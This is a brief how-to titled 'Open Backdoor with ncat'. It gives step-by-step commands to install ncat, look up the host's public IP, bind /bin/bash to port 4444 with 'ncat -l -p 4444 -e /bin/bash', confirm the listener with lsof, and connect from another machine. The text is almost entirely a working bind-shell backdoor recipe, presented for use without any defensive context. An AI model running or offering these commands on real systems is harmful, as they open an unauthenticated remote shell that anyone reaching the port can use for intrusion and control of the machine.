Open Backdoor with ncat

• Ncat allows you to use the normal cat functionality over networks.

• Install ncat on both side, sudo apt install ncat

On Server Side

curl http://icanhazip.com
ncat -l -p 4444 -e /bin/bash

• To check whether server is listened or not, lsof -i -P -n | grep LISTEN

On Your System

• To connect the server from the port opened, ncat $ipAdress 4444
• or ncat $domainname.com 4444